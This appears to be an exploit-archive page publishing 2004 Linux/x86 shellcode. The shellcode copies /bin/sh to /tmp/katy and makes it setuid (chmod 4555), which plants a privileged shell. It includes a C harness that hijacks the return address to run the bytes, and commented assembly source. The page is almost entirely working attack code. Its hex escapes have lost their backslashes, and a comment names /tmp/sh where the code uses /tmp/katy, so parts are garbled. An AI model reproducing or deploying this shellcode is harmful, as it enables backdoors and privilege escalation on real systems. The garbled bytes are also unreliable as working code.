[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : linux/x86 cp /bin/sh /tmp/katy ; chmod 4555 katy 126 bytes
# Published : 2004-09-26
# Author : RaiSe
# Previous Title : linux/x86 chmod 666 /etc/shadow 41 bytes
# Next Title : linux/x86 eject /dev/cdrom 64 bytes
/*
* Linux/x86
*
* /bin/cp /bin/sh /tmp/katy ; chmod 4555 /tmp/sh using fork()
*/
#include <stdio.h>
char shellcode[] =
"xebx5ex5fx31xc0x88x47x07x88x47x0fx88x47x19x89x7f"
"x1ax8dx77x08x89x77x1ex31xf6x8dx77x10x89x77x22x89"
"x47x26x89xfbx8dx4fx1ax8dx57x26x31xc0xb0x02xcdx80"
"x31xf6x39xc6x75x06xb0x0bxcdx80xebx1dx31xd2x31xc0"
"x31xdbx4bx8dx4fx26xb0x07xcdx80x31xc0x8dx5fx10x31"
"xc9x66xb9x6dx09xb0x0fxcdx80x31xc0x40x31xdbxcdx80"
"xe8x9dxffxffxff/bin/cp8/bin/sh8/tmp/katy";
main() {
int *ret;
ret=(int *)&ret +2;
printf("Shellcode lenght=%dn",strlen(shellcode));
(*ret) = (int)shellcode;
}
/* Code */
/*
__asm__("
jmp 0x5e
popl %edi
xorl %eax,%eax
movb %al,0x7(%edi)
movb %al,0xf(%edi)
movb %al,0x19(%edi)
movl %edi,0x1a(%edi)
leal 0x8(%edi),%esi
movl %esi,0x1e(%edi)
xorl %esi,%esi
leal 0x10(%edi),%esi
movl %esi,0x22(%edi)
movl %eax,0x26(%edi)
movl %edi,%ebx
leal 0x1a(%edi),%ecx
leal 0x26(%edi),%edx
xorl %eax,%eax
movb $0x2,%al
int $0x80
xorl %esi,%esi
cmpl %eax,%esi
jne 0x6
movb $0xb,%al
int $0x80
jmp 0x1d
xorl %edx,%edx
xorl %eax,%eax
xorl %ebx,%ebx
dec %ebx
leal 0x26(%edi),%ecx
movb $0x7,%al
int $0x80
xorl %eax,%eax
leal 0x10(%edi),%ebx
xorl %ecx,%ecx
movw $0x96d,%cx
movb $0xf,%al
int $0x80
xorl %eax,%eax
inc %eax
xorl %ebx,%ebx
int $0x80
call -0x63
.ascii "/bin/cp8/bin/sh8/tmp/katy"
");
*/
/*
RaiSe <raise@undersec.com>
http://www.undersec.com
*/
// www.Syue.com [2004-09-26]